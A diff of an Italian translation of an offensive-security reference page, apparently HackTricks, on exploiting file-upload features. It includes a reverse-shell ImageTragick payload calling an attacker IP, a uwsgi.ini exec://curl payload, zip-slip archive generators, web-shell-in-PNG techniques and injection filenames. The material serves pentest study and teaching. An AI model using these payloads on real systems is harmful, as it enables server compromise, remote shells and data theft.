+GET /storage/files/0xdf.php?cmd=id +``` +Mitigations: +- Aggiornare unisharp/laravel-filemanager a ≥ 2.9.1. +- Imporre allowlists lato server rigorose e rieseguire la validazione del filename persistito. +- Servire gli uploads da posizioni non eseguibili. + +### Bypass di Content-Type, Magic Number, Compression & Resizing + +- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserire la shell all'interno dei **metadata**:\ +- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\ `exiftool -Comment="' >> img.png` -- Se viene applicata una **compressione** all'immagine, ad esempio usando alcune librerie standard PHP come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk PLTE [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La pagina web potrebbe anche **ridimensionare** l'immagine, usando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk IDAT [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il chunk tEXt [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Altri trucchi da verificare - Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione). - Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor. -- **Possibili divulgazioni di informazioni**: -1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome** -2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già** -3. Caricare un file con **".", ".." o "..." come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file uploadati in "/www/uploads/" la filename "." creerà un file chiamato "uploads" in "/www/". -4. Carica un file che potrebbe non essere eliminato facilmente come **"...:.jpg"** su **NTFS**. (Windows) -5. Carica un file su **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows) -6. Carica un file su **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima. +- **Possibile divulgazione di informazioni**: +1. Caricare **più volte** (e nello **stesso momento**) lo **stesso file** con lo **stesso nome** +2. Caricare un file con il **nome** di un **file** o **cartella** che **esiste già** +3. Caricare un file con **".", "..", or "..." come nome**. Per esempio, in Apache su **Windows**, se l'app salva i file uploadati nella directory "/www/uploads/", il file con nome "." creerà un file chiamato "uploads" nella directory "/www/". +4. Caricare un file che potrebbe non essere facilmente eliminabile come **"…:.jpg"** su **NTFS**. (Windows) +5. Caricare un file su **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows) +6. Caricare un file su **Windows** usando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Prova anche a **caricare un eseguibile** (.exe) o una **.html** (meno sospetta) che **eseguirà codice** quando aperta accidentalmente dalla vittima. -### Trucchi con estensioni speciali +### Trucchi per estensioni speciali -Se stai cercando di caricare file su un server **PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se stai cercando di caricare file su un server **ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se stai tentando di caricare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se stai tentando di caricare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -I file `.phar` sono come i `.jar` per Java, ma per PHP, e possono essere **usati come un file php** (eseguiti con php, o inclusi dentro uno script...) +I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...) -L'estensione `.inc` è a volte usata per file php che servono solo per **includere altri file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venisse eseguita**. +L'estensione `.inc` è talvolta usata per file php che servono solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione sia eseguibile**. ## **Jetty RCE** -Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuovi \*.xml e \*.war vengono processati automaticamente](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspetta la shell! +Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,9 +136,9 @@ Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuo Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dallo standard output di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`. +Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate sui server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione di uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è pensato per includere il contenuto di un file. Tra i vari supported schemes in uWSGI, lo scheme "exec" è particolarmente potente, permettendo la lettura di dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`. -Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi: +Considera il seguente esempio di un `uwsgi.ini` dannoso, che mostra vari scheme: ```ini [uwsgi] ; read from a symbol @@ -126,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche. +L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione sia attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service attack) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche. -È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. Più nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della potenziale exploitation. +È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo di potenziale sfruttamento. -## **wget File Upload/SSRF Trucco** +## **wget File Upload/SSRF Trick** -In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\ - -La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypass** il **controllo** (poiché in questo esempio **".gif"** è un'**estensione valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**. +In alcune occasioni potresti trovare che un server utilizza **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere aggirato.**\ +La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **aggira** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -157,33 +186,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. +Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo ma poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. -## Tools +## Strumenti -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application. -### Corrupting upload indices with snprintf quirks (historical) +### Corruzione degli indici di upload dovuta alle particolarità di snprintf (storico) -Alcuni handler di upload legacy che usano `snprintf()` o funzioni simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload appositamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come upload multi-file e prendendo branche non sicure). Pur essendo niche oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più datate. +Alcuni gestori di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un upload a file singolo possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incongruenze e troncamenti nel comportamento di `snprintf()`, un singolo upload accuratamente costruito può apparire come più file indicizzati lato server, confondendo logiche che assumono una forma rigida (ad es., trattarlo come un upload multi-file e prendere branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più vecchie. -## From File upload to other vulnerabilities +## Da upload di file ad altre vulnerabilità - Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal** - Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection** - Imposta **filename** su `` per ottenere una **XSS** -- Imposta **filename** su `; sleep 10;` per testare qualche command injection (more [command injections tricks here](../command-injection.md)) +- Imposta **filename** su `; sleep 10;` per testare qualche command injection (più [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Prova **diversi svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. +- Se puoi **istruire il web server a recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in un sito **pubblico**, puoi anche indicare un URL di [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDF appositamente costruiti per XSS: la [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Verifica se esiste un **limite di dimensione** per l'upload dei file +- PDF appositamente creati per XSS: la [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite. +- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per verificare se il server ha qualche **antivirus** +- Verifica se esiste un **limite di dimensione** per il caricamento dei file Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -207,18 +236,18 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file. +Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file. -## Zip/Tar File Automatically decompressed Upload +## Upload di Zip/Tar decompressi automaticamente -Se puoi uploadare una ZIP che verrà decompressa all'interno del server, puoi fare 2 cose: +Se puoi caricare uno ZIP che verrà decompresso sul server, puoi fare 2 cose: ### Symlink -Carica un archivio contenente soft link ad altri file, quindi, accedendo ai file decompressi accederai ai file linkati: +Carica un archivio che contenga symlink a altri file; accedendo ai file decompressi potrai accedere ai file linkati: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -226,18 +255,18 @@ tar -cvf test.tar symindex.txt ``` ### Decomprimere in cartelle diverse -La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file malevoli, il supporto gerarchico della compressione e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni e uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target. +L'inaspettata creazione di file nelle directory durante la decompressione è un problema significativo. Nonostante l'assunzione iniziale che questa configurazione potesse proteggere dall'OS-level command execution tramite malicious file uploads, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attackers di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell'applicazione target. -Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato: +An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovresti creare un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua operazione. +Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante la sua esecuzione. -Di seguito è riportato un esempio di codice Python usato per creare un file zip malevolo: +Di seguito è riportato un esempio di codice Python usato per creare un file zip dannoso: ```python #!/usr/bin/python import zipfile @@ -257,7 +286,7 @@ create_zip() ``` **Abuso della compressione per file spraying** -Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Per ulteriori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) 1. **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`. @@ -276,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un editor esadecimale, sostituendo "xxA" con "../" per attraversare le directory. +3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, sostituendo "xxA" con "../" per attraversare le directory. ```bash :set modifiable @@ -286,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767)) +Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Incorporare PHP Shell in PNG +## Incorporare una PHP shell in PNG -Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il resampling delle immagini. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni rappresenta un vantaggio significativo in alcuni casi d'uso. +Incorporare una PHP shell nel chunk IDAT di un file PNG può efficacemente bypassare certe operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, in quanto sono comunemente usate per ridimensionare e risamplerizzare immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso. -Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è disponibile nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni. +Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni. -More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Maggiori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## File Polyglot +## Polyglot Files -I file polyglot fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS. +I polyglot files sono uno strumento unico in cybersecurity, funzionando come camaleonti che possono esistere validamente in più formati di file simultaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS. -L'utilità principale dei polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una pratica comune in molte applicazioni consiste nel permettere solo determinati tipi di file per l'upload — come JPEG, GIF, o DOC — per mitigare il rischio posto da formati potenzialmente dannosi (es. JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni. +L'utilità principale dei polyglot sta nella loro capacità di eludere misure di sicurezza che controllano i file basandosi sul tipo. Una pratica comune in molte applicazioni è permettere solo alcuni tipi di file in upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (es., JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare queste restrizioni in modo furtivo. -Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle policy della piattaforma riguardo alle estensioni dei file. Se il sistema è rigoroso sulle estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente a garantire l'upload. +Nonostante la loro adattabilità, i polyglot incontrano delle limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un PHAR file (PHp ARchive) e un JPEG, il successo dell'upload potrebbe dipendere dalle policy sulle estensioni della piattaforma. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente per garantirne l'upload. -More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Maggiori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Caricare JSON validi come se fossero PDF -Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche tratte da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Come evitare il rilevamento del tipo di file caricando un JSON valido anche se non consentito, falsificando un file PDF (tecniche descritte in **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post) -- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post) -- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF +- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è considerato valido (vedi esempio nel post) +- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON così la library penserà sia un PDF (vedi esempio nel post) +- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di tale soglia in modo che non possa parsare il contenuto come JSON e poi inserire all'interno del JSON la parte iniziale di un vero PDF: il tool penserà sia un PDF ## Riferimenti @@ -329,5 +358,8 @@ Come evitare il rilevamento del tipo di file caricando un file JSON valido anche - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}